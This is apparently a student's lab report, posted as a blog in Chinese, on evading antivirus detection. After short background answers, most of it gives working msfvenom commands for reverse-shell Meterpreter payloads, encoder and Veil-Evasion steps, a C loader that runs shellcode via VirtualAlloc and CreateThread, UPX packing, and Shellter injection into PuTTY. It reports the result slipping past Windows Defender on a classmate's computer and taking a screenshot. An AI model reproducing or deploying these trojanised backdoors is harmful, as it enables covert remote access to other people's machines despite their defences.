第3次实验-免杀原理

第3次实验-免杀原理

1基础问题回答

(1)杀软是如何检测出恶意代码的?

杀毒软件检测恶意代码的主要方法包括:

  • 签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。
  • 行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件。
  • 启发式分析:利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是尝试识别新的威胁。
  • 沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件。
  • 云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性。

(2)免杀是做什么?

免杀是指通过各种技术手段避免恶意软件被杀毒软件检测到的行为。这通常涉及到对恶意软件代码的修改,使其能够绕过安全软件的检测机制,从而在未被发现的情况下在目标系统上执行。

(3)免杀的基本方法有哪些?

①改变特征码

  • 加壳
  • 用encode进行编码
  • 用其他语言进行重写再编译

②改变行为

  • 改变通讯方式

    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 改变操作模式

    • 基于内存操作
    • 减少对系统的修改

③非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件。

(4)开启杀软能绝对防止电脑中恶意代码吗?

开启杀毒软件不能绝对防止电脑中恶意代码的感染。虽然杀软可以大幅度提高安全性,减少恶意软件的威胁,但因为以下原因,它不能提供100%的保护:

  • 新出现的恶意软件或变种可能还未被安全厂商发现,因此未被加入到签名数据库中。
  • 免杀技术的发展使得恶意软件能够绕过杀软的检测机制。
  • 用户的不安全行为,如点击未知链接、下载不安全的附件等,也可能导致安全防护措施被绕过。

2实验内容

2.0免杀检测网站

VirusTotal、Virscan

本次实验中使用VirusTotal进行检测

2.1直接使用msf生成的可执行文件进行检测

生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_1.exe

image-20240326042319100

2.2使用编码器编码编码后再次进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_2.exe

没有用~

image-20240326042817836

2.3使用编码器编码编码20次后再次进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_3.exe

你就说有没有变好吧

image-20240326043020028

2.4使用Veil

安装之前最好照个快照,要是哪里不行了可以随时回档!!!

不知道什么是快照的去VMware虚拟机快照功能_虚拟机恢复快照是什么意思-CSDN博客

最理想的情况:

安装Veil(执行之后就别动了,弹窗什么的它都会自动执行,只用在最后输入密码即可)

sudo apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

[!NOTE]

如果卡在这种程序安装的地方的话还是点一下,全部都是默认即可,一路Next到底

4cacc6e98c1979b37fb678b63bf89ce

打开Veil-Evasion

veil

使用方法参考博客:Kali——绕过杀毒软件检测工具Veil-Evasion_veil 工具原理-CSDN博客

use 1
use 7
set LHOST 192.168.255.137
set LPORT 4325
options
generate

image-20240326053010155

好了一点

image-20240326053056315

在windows下运行payload.exe尝试攻击

image-20240328135351722

攻击成功

2.5C语言调用

第一次攻击——失败

先用msf生成一段C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f c > shellcode_win_4325.c

在文件中添加

int main()
{
        int (*func)() = (int(*)())buf;
        func();
}

image-20240326054116189

静态编译防止动态连接丢失

i686-w64-mingw32-g++ shellcode_win_4325.c -o shellcode_win_4325.exe -static

没有MinGW-w64的可以安装一下:

sudo apt install mingw-w64

另外一种安装方式:

command-not-found.com – i686-w64-mingw32-c++

apt-get install g++-mingw-w64-i686

结果更好了

image-20240326055049121

尝试攻击

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.137
set LPORT 4325
options
run

无法连接

分析失败原因-by 20214321吴萌源

通过对编译后的exe进行debug分析问题所在

dbg找出问题

发现异常后通过文心一言确定问题

36f23d9f4397d7f25e75a59bf19562a

让文心一言给出修改方案

70f3be2fe1162626bfc1385bf596b26

第二次攻击——成功

再次感谢20214321吴萌源同学的帮助

还是先用msf生成一段C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f c > shellcode_win_4325.c

修改在文件中添加为:

#include <windows.h>  
#include <iostream>  
int main() {  
    // 分配可执行内存  
    void* execMem = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
    if (execMem == NULL) {  
        std::cerr << "Memory allocation failed!" << std::endl;  
        return 1;  
    }  
   // 复制shellcode到可执行内存  
    memcpy(execMem, buf, sizeof(buf));   
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);  
    if (thread == NULL) {  
        std::cerr << "Thread creation failed!" << std::endl;  
        VirtualFree(execMem, 0, MEM_RELEASE);  
        return 1;  
    }  
    WaitForSingleObject(thread, INFINITE);  
    CloseHandle(thread);  
    VirtualFree(execMem, 0, MEM_RELEASE);  
    return 0;  
}

image-20240404140410028

静态编译防止动态连接丢失

i686-w64-mingw32-g++ shellcode_win_4325.c -o shellcode_win_4325.exe -static

尝试攻击

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.137
set LPORT 4325
options
run

image-20240404140610410

攻击成功!

最后再给virustotal鉴定一下:

image-20240404141200950

2.6加壳

使用upx对backdoor_20214325.exe进行加壳

upx backdoor_20214325.exe -o backdoor_20214325_ups.exe

2c787368482691a58ada343863f17b6

运行backdoor_20214325_ups.exe后攻击成功

image-20240328144030424

测一测,比不加壳之前(58/72)好了一点点

6d3b5694781debe56a963570beb9332

使用upx对paylod.exe进行加壳

upx paylod.exe -o paylod_upx.exe

image-20240328142401115

运行paylod_upx.exe后攻击成功

image-20240328142451614

测一下,反向升级了。。。

image-20240328142707459

2.7 通过组合应用各种技术实现恶意代码免杀

生成后门软件PuttY_upx.exe,成功与Windows Defender共存,详细见2.8

2.8 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用Shellter | Shellter (shellterproject.com)向PUTTY.exe注入shellcode后再使用pux进行加壳

使用微信发送到打开了Windows Defender的20214321吴萌源的电脑上,没有被当成病毒杀掉,成功绕过了的防护

之前尝试被杀掉的:

a0eaad7b665b40c15454131502b3cc7

幸存下来的putty_upx.exe:

3621edfb11518f2f636ae3a2783dbb0

杀软版本:

bb813546bcc212148e19e4b7a143ff5

使用快速扫描:

7c0c5ade859663b19cbfb4557e07768

在运行之后putty_upx.exe之后攻击成功,但是在使用ls命令后后门程序马上就被删除了

7571a791881b9534995b80c30d6b046

再次发送putty_upx.exe并重新尝试,在攻击之后文件依然没有被杀软删掉,但是不久之后就显示session died

b0c406b36ee60d134b9dfcd21bbaec3

使用screenshot屏幕截图:

image-20240330194909289

4c345e413d7bb5efcb9b117ac3fb90c

3实验总结与体会

通过本次实验,我学会了msf中编码器的使用,veil攻击平台的使用、upx加壳等基础的免杀操作,了解了VirusTotal、Virscan等免杀检测网站

在附加题中,我通过在网上找到的攻击平台Shellter组合加壳的操作实现了初步绕过windows defender的检测,并对在同一局域网下的其他电脑成功发动了攻击

4遇到的问题与解决方法

4.1Veil安装

在第一次安装veil时由于其安装过程较慢,我以为是卡住了,按Ctrl + C打断之后重新安装出错,反复使用apt remove后重新安装依然无法解决,每次都会卡在wine :failed to open L"c:\\windows\\syswow64\\rundll32.exe": c0000135

微信图片_20240331110432

最后重装kali系统,并直接运行(执行之后就别动了,弹窗什么的它都会自动执行,只用在最后输入密码即可)后解决

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

4.2C语言交叉编译

使用

i686-w64-mingw32-g++ shellcode_win_4325.c -o shellcode_win_4325.exe -static-libgcc

编译exe后,在windows中运行exe文件后无法成功攻击

使用

gcc -m32 -no-pie -fno-pie shellcode_linux_4325.c -o shellcode_linux_4325

编译后

┌──(root㉿kali)-[/home/kali/Desktop]
└─# file shellcode_linux_4325                                               
shellcode_linux_4325: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=38f5903779f6999ff273683ffc071706f17db8f6, for GNU/Linux 3.2.0, not stripped

关闭地址随机化,打开堆栈可执行后再次尝试,依然无法解决

最后在参考20214321吴萌源同学的方法后成功攻击

问题是由于buf中的程序不可执行导致,将文件后添加从

int main()
{
        int (*func)() = (int(*)())buf;
        func();
}

替换为即可解决

#include <windows.h>  
#include <iostream>  
int main() {  
    // 分配可执行内存  
    void* execMem = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
    if (execMem == NULL) {  
        std::cerr << "Memory allocation failed!" << std::endl;  
        return 1;  
    }  
   // 复制shellcode到可执行内存  
    memcpy(execMem, buf, sizeof(buf));   
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);  
    if (thread == NULL) {  
        std::cerr << "Thread creation failed!" << std::endl;  
        VirtualFree(execMem, 0, MEM_RELEASE);  
        return 1;  
    }  
    WaitForSingleObject(thread, INFINITE);  
    CloseHandle(thread);  
    VirtualFree(execMem, 0, MEM_RELEASE);  
    return 0;  
}

image-20240404140410028

posted @ 2024-03-30 22:38  Ethan-Chase  阅读(301)  评论(0编辑  收藏  举报
-->